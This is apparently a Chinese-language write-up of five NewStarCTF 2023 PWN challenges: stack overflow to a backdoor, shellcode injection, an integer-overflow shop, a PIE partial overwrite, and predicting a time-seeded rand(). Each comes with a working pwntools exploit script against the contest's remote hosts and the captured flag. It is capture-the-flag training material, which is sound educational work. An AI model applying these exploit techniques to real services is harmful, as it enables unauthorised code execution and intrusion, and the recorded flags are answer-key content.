# NewStarCTF 2023 公开赛道 PWN
# ret2text
考点:栈溢出,ret2txt
IDA 打开程序,找到主函数如下:

发现是栈溢出类型的题目,在函数中也可以找到后门函数:

利用 python 编写,直接填充字符覆盖返回地址为后门函数的地址即可
from pwn import * | |
sh = remote('node4.buuoj.cn',25575) | |
sh.recvuntil(b"magic\n") | |
backdoor = 0x4011FB | |
payload = b'a'*0x20 + p64(0) + p64(backdoor) #p64 (0) 是为了覆盖掉 ebp | |
sh.send(payload) | |
sh.interactive() |

# ezshellcode
考点:shellcode
打开题目,在 IDA 中进行查看 main 函数:

buf 被分配了 1000 字节的空间,起始地址为 0x66660000
最后一行 JUMPOUT
直接跳转到 0x66660000
地址并开始运行。题目会执行我们发送的字符,直接用 pwntools 库生成 shellcode 发送即可
from pwn import * | |
sh = remote('node4.buuoj.cn',27833) | |
context(os = 'linux',arch = 'amd64') | |
payload = asm(shellcraft.sh()) | |
sh.recvuntil(b"magic\n") | |
sh.send(payload) | |
sh.interactive() |

得到 flag: flag{c67dd0d3-522f-49fd-8f7e-b073f471cd9c}
# newstar shop
考点:整数溢出
查看文件的安全保护,发现全开了,不过没关系,本题考查的是整数溢出。

查看源码可以发现,在商店中购买物品会扣除钱,money 初始化为 64h,即 100 元,shop 中一共可以划掉 60:

剩下的一个需要去 dont_try 中去花掉,点击会 - 50。在商店中购买时会检查你的钱够不够,不够是没办法购买的,所以最后使钱小于 0 这一步只能在第三个 dont_try 中花掉。
代码如下:
from pwn import * | |
sh = remote('node4.buuoj.cn',28951) | |
context(os='linux', arch='amd64', log_level='debug') | |
#花掉 40 | |
sh.recv() | |
sh.sendline(b'1') | |
sh.recv() | |
sh.sendline(b'2') | |
#花掉 20 | |
sh.recv() | |
sh.sendline(b'1') | |
sh.recv() | |
sh.sendline(b'1') | |
#花掉 50 | |
sh.recv() | |
sh.sendline(b'3') | |
# 购买 shell | |
sh.recv() | |
sh.sendline(b'1') | |
sh.recv() | |
sh.sendline(b'3') | |
sh.interactive() |
获取 flag 如下:

flag{cf39380f-910a-4125-a91b-21bf1b9f3eec}
# p1eee
考点:pie,partial overwrite
进入题目,打开 IDA ,找到后门函数:


我们可以发现,溢出位置应该发生在 120E 函数中:

我们再看 main 函数,可以发现其调用了 120E 函数,并且,最后 120E 函数的返回地址应该是 1297:

和我们的后门函数的起始地址 1264 只差了 最后两个 16 进制数,也就是 1 字节的差距。虽然由于开了 PIE,基地址是不确定的,但是由于基地址最低 3 个 16 进制位为 0,所以低 3 位的偏移还是可以确定的。再看我们的 120E 函数,可以看到,buf 的空间范围是 0~-20,就是 20 个字节,再加上需要覆盖掉 ebp 的 8 字节,一共 28 字节,但是 read 读入了 29 字节,所以刚好多出一个字节供我们使用。
from pwn import * | |
sh = remote('node4.buuoj.cn',29292) | |
sh.recv() | |
sh.sendline(b'a'*0x28+b'\x6c') | |
sh.interactive() |

得到 flag: flag{c9278352-5086-413f-99a8-034a7e2a1300}
# Random
考点:ctypes,pwntools
打开题目查看安全信息:全开了…

这一题看大佬的说法是:利用 ctypes 库在 python 代码中调用 c 语言函数,可以与程序生成同样的伪随机数。
由于远程那边启动和本地加载libc有一定时间差,我在远程连接后本地获取的time0返回值减了1,然后就rand()获取随机数发送就行了。
只能说还是有一定运气成分的,有时候不一定能随机到$0,我是大概试个两三次就可以了。
from pwn import * | |
from ctypes import * | |
context.log_level = 'debug' | |
dll = CDLL('libc.so.6') | |
#io = process('./random') | |
io = remote('node4.buuoj.cn', 29115) | |
seed = dll.time(0)-1 | |
dll.srand(seed) | |
io.recvuntil('number?') | |
io.sendline(str(dll.rand())) | |
io.interactive() |
